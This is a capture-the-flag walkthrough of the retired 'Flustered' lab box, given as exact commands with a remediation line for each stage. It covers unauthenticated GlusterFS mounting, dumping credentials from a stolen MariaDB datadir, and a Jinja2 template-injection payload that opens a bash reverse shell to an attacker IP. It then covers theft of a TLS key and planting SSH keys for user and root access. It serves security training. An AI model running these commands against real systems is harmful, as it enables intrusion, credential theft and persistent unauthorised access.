Flustered
Summary
I reached an internet-facing GlusterFS cluster, listed its volumes without any credentials, and mounted a data volume that held a live MariaDB database directory. Parsing those database files offline recovered a username and password for a Squid HTTP forward proxy on the same host.
Authenticating to the proxy unlocked a local-only web application whose source code revealed a Jinja2 template rendered directly from unsanitised user input, yielding OS-level code execution and a foothold shell. On the compromised host, the TLS client certificate and private key protecting the second GlusterFS volume (mounted system-wide as /home) were stored with world-readable permissions.
Copying those files to the attack machine and mounting the volume with mutual TLS gave unrestricted write access to every user home directory, sidestepping the OS permission model entirely. An SSH public key planted in a regular user account produced the user flag; the same operation against the root account delivered full system ownership.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <credentials_table>, <param>, <proxy_db>, <source_path>, <user>, <vuln_endpoint> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP sweep with version detection; captures high-numbered GlusterFS brick ports.
$ sudo nmap -sV -p- --min-rate 5000 -oN flustered_full.txt $TARGETTargeted version scan to confirm service banners on the discovered ports.
$ sudo nmap -sV -p 22,80,111,3128,24007,49152,49153 $TARGETExact commands 5
Install the GlusterFS client on the attack machine.
$ sudo apt install -y glusterfs-clientAdd the target hostname if the mount log reports a name-resolution error.
$ echo "$TARGET flustered.htb" | sudo tee -a /etc/hostsList GlusterFS volumes without any credentials; expect vol1 and vol2.
$ gluster --remote-host=$TARGET volume listMount vol2 unauthenticated; review /var/log/glusterfs/*.log on failure.
$ sudo mkdir -p /mnt/vol2 && sudo mount -t glusterfs $TARGET:/vol2 /mnt/vol2Confirm the MariaDB data directory is present and readable.
$ ls -la /mnt/vol2/var/lib/mysql/FixRequire mutual TLS and source-IP restrictions for all GlusterFS volumesCritical
Exact commands 4
Copy the datadir and fix ownership so the local MariaDB service can read it.
$ sudo cp -r /mnt/vol2/var/lib/mysql /tmp/stolen_mysql && sudo chown -R mysql:mysql /tmp/stolen_mysqlSwap in the stolen datadir as the local MariaDB datadir.
$ sudo systemctl stop mariadb && sudo rsync -a /tmp/stolen_mysql/ /var/lib/mysql/ && sudo systemctl start mariadbList databases; look for a proxy, squid, or application-named database.
$ mysql -u root -e "SHOW DATABASES;"Dump the credentials table; substitute the actual DB and table names found in the previous step.
$ mysql -u root -e "SELECT * FROM <proxy_db>.<credentials_table>;"FixRemove live database files from GlusterFS volumes and rotate all extracted credentialsCritical
Exact commands 2
Route traffic through the Squid proxy with recovered credentials; confirm the internal app responds.
$ curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/Retrieve application source or any exposed source endpoint; identify template rendering calls.
$ curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/<source_path>FixRestrict Squid proxy access to known internal source IPsHigh
Exact commands 3
Probe for SSTI; 49 in the response body confirms Jinja2 template execution.
$ curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 'http://127.0.0.1/<vuln_endpoint>?<param>=%7B%7B7*7%7D%7D'Start a reverse-shell listener on the attack machine before sending the exploit.
$ nc -lvnp 4444Full Jinja2 SSTI reverse-shell payload; replace $ATTACKER_IP with your HTB VPN IP and <param> with the vulnerable parameter name found in the source.
$ curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 --data-urlencode "<param>={{config.__class__.__init__.__globals__['os'].popen('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'').read()}}" http://127.0.0.1/<vuln_endpoint>FixPass user input as template data, never as the template string itselfCritical
Exact commands 3
From the foothold shell: locate TLS certificate material readable by the current low-privilege account.
$ find /etc/ssl /etc/glusterfs /var/lib/glusterd -readable \( -name '*.pem' -o -name '*.key' -o -name '*.ca' \) 2>/dev/nullPrint cert, key, and CA to the terminal; copy all three to the attack machine.
$ cat /etc/ssl/glusterfs.pem /etc/ssl/glusterfs.key /etc/ssl/glusterfs.caOn the attack machine: confirm the certificate chain is valid before attempting the TLS mount.
$ openssl verify -CAfile glusterfs.ca glusterfs.pemFixRestrict GlusterFS TLS private key to root-only read and rotate the exposed certificateHigh
Exact commands 6
Place the stolen cert files in the paths the local GlusterFS client expects.
$ sudo cp glusterfs.pem /etc/ssl/glusterfs.pem && sudo cp glusterfs.key /etc/ssl/glusterfs.key && sudo cp glusterfs.ca /etc/ssl/glusterfs.caSignal the local GlusterFS client to require TLS for all connections.
$ sudo touch /var/lib/glusterd/secure-accessMount the TLS-protected vol1; the client presents the stolen certificate automatically.
$ sudo mkdir -p /mnt/vol1 && sudo mount -t glusterfs $TARGET:/vol1 /mnt/vol1Enumerate home directories to identify the target user account name.
$ ls /mnt/vol1/Plant my public key in the target user's authorized_keys; replace <user> with the account name found above.
$ mkdir -p /mnt/vol1/<user>/.ssh && echo "$(cat ~/.ssh/id_rsa.pub)" >> /mnt/vol1/<user>/.ssh/authorized_keys && chmod 700 /mnt/vol1/<user>/.ssh && chmod 600 /mnt/vol1/<user>/.ssh/authorized_keysAuthenticate via SSH and capture the user flag: <user.txt>.
$ ssh -i ~/.ssh/id_rsa <user>@$TARGET 'cat ~/user.txt'Exact commands 2
Write my public key into root's authorized_keys through the mounted GlusterFS volume.
$ mkdir -p /mnt/vol1/root/.ssh && echo "$(cat ~/.ssh/id_rsa.pub)" >> /mnt/vol1/root/.ssh/authorized_keys && chmod 700 /mnt/vol1/root/.ssh && chmod 600 /mnt/vol1/root/.ssh/authorized_keys<root.txt>.
$ ssh -i ~/.ssh/id_rsa root@$TARGET 'cat /root/root.txt'FixNever back /home or /root with a remotely mountable distributed filesystem volumeCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http nginx 1.14.2 |
| 111/tcp | rpcbind 2-4 (RPC #100000) |
| 24007/tcp | rpcbind |
| 49152/tcp | unknown recon-sweep-discovered |
| 49153/tcp | unknown recon-sweep-discovered |